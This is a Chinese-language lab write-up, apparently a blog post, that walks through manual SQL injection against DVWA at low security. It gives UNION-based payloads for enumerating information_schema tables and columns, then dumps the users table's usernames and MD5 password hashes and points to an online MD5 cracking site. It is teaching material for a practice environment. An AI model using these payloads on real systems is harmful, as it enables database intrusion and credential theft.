SQL注入一般过程

实验:Vulnerability: SQL Injection(low)

SQL注入一般过程

1.判断注入点

一般和数据库进行交互的位置

2.判断注入点类型

字符型判断:

1' 报错

1' and '1'='2 错误结果

1' and '1'='1 正确结果

数字型判断:

1' 报错

1 and 1=2 错误结果

1 and 1=1 正确结果

3.获取数据回显位置

3.1 判断返回字段数

两种方式判断:1.order by 2. union select

1' order by 1# 正确显示结果

1' order by 2# 正确显示结果

1' order by 3# 报错

判断返回结果有两列。

3.2 判断回显位置

1' union select 1# 报错

1' union select 1,2# 正确显示,并成功显示回显位置

4.查询数据库名

database() 获取数据库名,user()获取用户名

1' union select database(),user() #

5.获取表名

数据库:information_schema

数据表:information_schema.tables

字段:table_schema = 'dvwa'

通过上面的内容查询表名,table_name

-1' union select 1,table_name from information_schema.tables

where table_schema=database()#

报错:

Illegal mix of collations for operation 'UNION' 编码错误

三种方式解决:

1.变成16进制输出

-1' union select 1,hex(table_name) from information_schema.tables

where table_schema=database()#

2.输出指定字符集

-1' union select 1,table_name collate utf8_general_ci from information_schema.tables

where table_schema=database()#

3.直接修改数据库字符集

查询结果可能只显示一条,因此使用group_concat()函数,将结果进行聚合

-1' union select 1,group_concat(table_name) collate utf8_general_ci from information_schema.tables

where table_schema=database()#

查询结果为:guestbook,users

5.查询字段名

数据库:information_schema

表:information_schema.columns

条件字段:table_schema='dvwa',table_name='users'

查询内容:column_name

-1' union select 1,group_concat(column_name) collate utf8_general_ci from information_schema.columns

where table_schema=database() and table_name='users'#

查询结果: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

6.查询数据

查询表:users

查询字段:user,password

-1' union select 1,group_concat(user,'~',password) from users#

查询结果:admin~5f4dcc3b5aa765d61d8327deb882cf99,gordonb~e99a18c428cb38d5f260853678922e03,1337~8d3533d75ae2c3966d7e0d4fcc69216b,pablo~0d107d09f5bbe40cade3de5c71e9e9b7,smithy~5f4dcc3b5aa765d61d8327deb882cf99

MD5在线解密:

https://www.cmd5.com/

相关推荐
凌虚3 小时前
面向 MySQL 用户的 PostgreSQL 快速上手指南
数据库·后端·架构
五阿哥永琪3 小时前
MySQL中操作json的函数!
数据库·mysql·json
来者皆善3 小时前
了解Mysql优化吗?如何优化索引?
数据库·mysql
赤壁小虾5 小时前
【渲染流水线】[逐片元阶段]-[透明度测试]以UnityURP为例
java·前端·数据库
MC皮蛋侠客5 小时前
SQLAlchemy 系列(七):高级建模与高效写入——批量 DML、方言与扩展
数据库·python
奈斯先生Vector6 小时前
把 Midjourney 二次编辑做成生产系统:customId 能力令牌、Action Graph 与 WebUI 精修工作台
数据库·人工智能·架构·aigc·音视频·midjourney
Lethehong7 小时前
双擎并驱·全链路并行:KFS让TB级异构增量同步秒级到达
数据库
MC皮蛋侠客7 小时前
SQLAlchemy 系列(八):AsyncIO、并发与 Web 生命周期——让每个并发任务持有自己的 Session
数据库·python
一水7 小时前
Redis实战:一个AI工作流系统里的五个应用场景,从传参到限流的完整链路
数据库·redis·wpf
枫叶v.8 小时前
Prompt Injection 防不住怎么办?从 Source-Sink 模型设计 Agent 安全边界
数据库·安全·prompt